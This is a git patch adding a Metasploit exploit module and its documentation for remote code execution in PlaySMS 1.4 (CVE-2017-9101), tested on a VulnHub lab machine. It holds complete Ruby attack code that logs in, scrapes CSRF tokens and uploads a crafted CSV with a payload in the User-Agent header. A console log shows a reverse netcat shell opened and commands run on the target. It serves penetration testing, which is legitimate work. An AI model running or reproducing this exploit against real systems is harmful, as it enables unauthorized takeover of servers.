From 0e0fcdf7271a8b9814f1254155a6af1fe508ced1 Mon Sep 17 00:00:00 2001 From: Touhid M Shaikh Date: Sun, 18 Mar 2018 13:46:30 +0530 Subject: [PATCH] PlaySMS 1.4 RCE PlaySMS 1.4 Remote Code Execution using Phonebook import Function in import.php --- .../unix/http/playsms_uploadcsv_exec.md | 159 ++++++++++++++ .../unix/http/playsms_uploadcsv_exec.rb | 196 ++++++++++++++++++ 2 files changed, 355 insertions(+) create mode 100644 documentation/modules/exploit/unix/http/playsms_uploadcsv_exec.md create mode 100644 modules/exploits/unix/http/playsms_uploadcsv_exec.rb diff --git a/documentation/modules/exploit/unix/http/playsms_uploadcsv_exec.md b/documentation/modules/exploit/unix/http/playsms_uploadcsv_exec.md new file mode 100644 index 0000000000..33217b5f38 --- /dev/null +++ b/documentation/modules/exploit/unix/http/playsms_uploadcsv_exec.md @@ -0,0 +1,159 @@ +## Description +import.php (aka the Phonebook import feature) in PlaySMS 1.4 allows remote code execution via vectors involving the User-Agent HTTP header +and PHP code in the name of a file. + +CVE ID : CVE-2017-9101 + +## Vulnerable Application +According To publicly exploit Disclosure of PlaySMS 1.4 +this application is vulnerable to 'import.php' Remote Code Execution +read more : https://www.exploit-db.com/exploits/42044/ + + +**Vulnerable Application Link** +https://www.exploit-db.com/apps/577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz + +## Vulnerable Application Installation Setup. +Download Application : ```wget https://www.exploit-db.com/apps/577b6363d3e8baf4696744f911372ea6-playsms-1.4.tar.gz``` + +Extract.. + +Move In WebDirectory : ```mv playsms-1.4/web/* /var/www/html/``` + +Change Owner : ```chown -R www-data:www-data /var/www/html/``` + +Set DB creds in Config File. And dump playsms-1.4/db/playsms.sql in your playsms database. + +Now Visit. + + +Vulnhub machine : https://www.vulnhub.com/entry/dina-101,200/ + +**And Follow Clipbucket Installer** +Visit : http://localhost/ + + +## Verification Steps + + 1. Install the application + 2. Start msfconsole + 3. Do: `use exploit/unix/http/playsms_uploadcsv_exec` + 4. Do: `set rport ` + 5. Do: `set rhost ` + 6. Do: `set targeturi SecreTSMSgatwayLogin` + 6. Do: `check` +``` +[*] 10.22.1.10:80 The target appears to be vulnerable. +``` + 7. Do: `set lport ` + 8. Do: `set lhost ` + 9. Do: `exploit` + 10. You should get a shell. + +## Options + + **TARGETURI** + + TARGETURI by default is `/`, however it can be changed. + +## Scenarios +**TESTED AGAINST LINUX** +``` +msf auxiliary(scanner/smb/smb_enum_gpp) > use exploit/unix/http/playsms_uploadcsv_exec +msf exploit(unix/http/playsms_uploadcsv_exec) > set targeturi SecreTSMSgatwayLogin +targeturi => SecreTSMSgatwayLogin +msf exploit(unix/http/playsms_uploadcsv_exec) > set rhost 10.22.1.10 +rhost => 10.22.1.10 +msf exploit(unix/http/playsms_uploadcsv_exec) > set username touhid +username => touhid +msf exploit(unix/http/playsms_uploadcsv_exec) > set password diana +password => diana +msf exploit(unix/http/playsms_uploadcsv_exec) > set lhost 10.22.1.9 +lhost => 10.22.1.9 +msf exploit(unix/http/playsms_uploadcsv_exec) > show options + +Module options (exploit/unix/http/playsms_uploadcsv_exec): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PASSWORD diana yes Password to authenticate with + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOST 10.22.1.10 yes The target address + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI SecreTSMSgatwayLogin yes Base playsms directory path + USERNAME touhid yes Username to authenticate with + VHOST no HTTP server virtual host + + +Payload options (cmd/unix/reverse_netcat): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 10.22.1.9 yes The listen address + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 PlaySMS 1.4 + +msf exploit(unix/http/playsms_uploadcsv_exec) > check +[*] 10.22.1.10:80 The target appears to be vulnerable. +msf exploit(unix/http/playsms_uploadcsv_exec) > exploit + +[*] Started reverse TCP handler on 10.22.1.9:4444 +[*] Trying to Login ...... +[+] Authentication successful: touhid:diana +[*] Trying to upload malicious CSV file .... +[*] Command shell session 1 opened (10.22.1.9:4444 -> 10.22.1.10:57706) at 2018-03-18 13:10:24 +0530 +id + +uid=33(www-data) gid=33(www-data) groups=33(www-data) +uname -a +Linux Dina 3.2.0-23-generic-pae #36-Ubuntu SMP Tue Apr 10 22:19:09 UTC 2012 i686 i686 i386 GNU/Linux +^Z +Background session 1? [y/N] y +msf exploit(unix/http/playsms_uploadcsv_exec) > sessions -l + +Active sessions +=============== + + Id Name Type Information Connection + -- ---- ---- ----------- ---------- + 1 shell cmd/unix 10.22.1.9:4444 -> 10.22.1.10:57706 (10.22.1.10) + +msf exploit(unix/http/playsms_uploadcsv_exec) > set verbose true +verbose => true +msf exploit(unix/http/playsms_uploadcsv_exec) > exploit + +[*] Started reverse TCP handler on 10.22.1.9:4444 +[+] X-CSRF-Token for login : cf6f56ccf44e26d046ed153319340c14 +[*] Trying to Login ...... +[+] Authentication successful: touhid:diana +[+] X-CSRF-Token for upload : 7bd4ffbe733ecaa9bea1c5dce9e040e7 +[*] Trying to upload malicious CSV file .... +[*] Command shell session 2 opened (10.22.1.9:4444 -> 10.22.1.10:57711) at 2018-03-18 13:17:09 +0530 +id + +uid=33(www-data) gid=33(www-data) groups=33(www-data) +uname -a +Linux Dina 3.2.0-23-generic-pae #36-Ubuntu SMP Tue Apr 10 22:19:09 UTC 2012 i686 i686 i386 GNU/Linux +ls -la +total 52 +drwxr-xr-x 6 root root 4096 Oct 17 19:09 . +drwxr-xr-x 9 root root 4096 Oct 17 20:51 .. +-rw-r--r-- 1 root root 2908 Oct 17 19:08 config-dist.php +-rw-r--r-- 1 root root 2903 Oct 17 19:11 config.php +drwxr-xr-x 3 root root 4096 Oct 17 19:08 inc +-rw-r--r-- 1 root root 3205 Oct 17 19:08 index.php +-rw-r--r-- 1 root root 13463 Oct 17 19:08 init.php +drwxr-xr-x 3 root root 4096 Oct 17 19:08 lib +drwxr-xr-x 7 root root 4096 Oct 17 19:08 plugin +drwxr-xr-x 3 root root 4096 Oct 17 19:08 storage + + +``` + diff --git a/modules/exploits/unix/http/playsms_uploadcsv_exec.rb b/modules/exploits/unix/http/playsms_uploadcsv_exec.rb new file mode 100644 index 0000000000..ca29ff3a61 --- /dev/null +++ b/modules/exploits/unix/http/playsms_uploadcsv_exec.rb @@ -0,0 +1,196 @@ +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'PlaySMS 1.4 - import.php, CSV file upload Remote Code Execution', + 'Description' => %q{ + PlaySMS 1.4 - import.php (aka the Phonebook import feature), CSV file upload with milicious payload + Remote Code Execution via vectors involving the User-Agent HTTP header and PHP code in the User-Agent. + + This module was tested against PlaySMS 1.4 on VulnHub's Dina 1.0 machine. + }, + 'Author' => + [ + 'Touhid M.Shaikh ' # Discoverys and Metasploit Module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE','2017-9101'], + ['EDB', '42044'] + ], + 'DefaultOptions' => + { + 'SSL' => false, + 'PAYLOAD' => 'cmd/unix/reverse_netcat', + }, + 'Privileged' => false, + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Targets' => + [ + [ 'PlaySMS 1.4', { } ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'May 21 2017')) + + register_options( + [ + OptString.new('TARGETURI', [ true, "Base playsms directory path", '/playsms']), + OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), + OptString.new('PASSWORD', [ true, "Password to authenticate with", 'password']) + ]) + + end + + def uri + return target_uri.path + end + + def check + res = nil + begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'index.php') + }) + rescue + vprint_error("Unable to access the index.php file") + return CheckCode::Unknown + end + + if res.code == 302 && res.headers['Location'].include?("index.php?app=main&inc=core_auth&route=login") + return Exploit::CheckCode::Appears + end + + return CheckCode::Safe + end + + def login + res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'index.php'), + 'method' => 'GET', + 'vhost' => "#{rhost}:#{rport}", + 'vars_get' => { + 'app' => 'main', + 'inc' => 'core_auth', + 'route' => 'login', + } + }) + + # Grabbing CSRF token from body + /name="X-CSRF-Token" value="(?[a-z0-9"]+)">/ =~ res.body + fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? + vprint_good("X-CSRF-Token for login : #{csrf}") + + cookies = res.get_cookies + print_status("Trying to Login ......") + # Send Creds with cookies. + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, 'index.php'), + 'cookie' => cookies, + 'vars_get' => { + 'app' => 'main', + 'inc' => 'core_auth', + 'route' => 'login', + 'op' => 'login', + }, + 'vars_post' => { + 'X-CSRF-Token' => csrf, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }, + }) + + unless res + fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") + end + + # Try to access index page with authenticated cookie. + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, 'index.php'), + 'cookie' => cookies, + }) + + # if we redirect to core_welcome dan we assume we have authenticated cookie. + if res.code == 302 && res.headers['Location'].include?('index.php?app=main&inc=core_welcome') + print_good("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}") + return cookies + else + fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed :[ #{datastore['USERNAME']}:#{datastore['PASSWORD']} ]") + return nil + end + end + + + # Tested successfully on Dina: 1.0.1 machine on vulnhub. + # Link : https://www.vulnhub.com/entry/dina-101,200/ + def exploit + + cookies = login + + # Agian CSRF token. + res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'index.php'), + 'method' => 'GET', + 'vhost' => "#{rhost}:#{rport}", + 'cookie' => cookies, + 'vars_get' => { + 'app' => 'main', + 'inc' => 'feature_phonebook', + 'route' => 'import', + 'op' => 'list', + } + }) + + unless res + fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to Login request") + end + + # Grabbing CSRF token from body + /name="X-CSRF-Token" value="(?[a-z0-9"]+)">/ =~ res.body + fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil? + vprint_good("X-CSRF-Token for upload : #{csrf}") + + # Payload. + stager = "" + + #making csv file body + final_stager = "Name,Email,Department\n" + final_stager << stager + final_stager <<',2,3' + + # setup POST request. + post_data = Rex::MIME::Message.new + post_data.add_part(csrf, content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"X-CSRF-Token\"") # CSRF token + post_data.add_part(final_stager, content_type = "text/csv", transfer_encoding = nil, content_disposition = "form-data; name=\"fnpb\"; filename=\"agent22.csv\"") #payload + data = post_data.to_s + + print_status("Trying to upload malicious CSV file ....") + # Lets Send Upload request. + res = send_request_cgi({ + 'uri' => normalize_uri(uri, 'index.php'), + 'method' => 'POST', + 'vhost' => "#{rhost}:#{rport}", + 'agent' => payload.encode, + 'cookie' => cookies, + 'vars_get' => { + 'app' => 'main', + 'inc' => 'feature_phonebook', + 'route' => 'import', + 'op' => 'import', + }, + 'headers' => { + 'Upgrade-Insecure-Requests' => '1', + }, + 'Connection' => 'close', + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + }) + end +end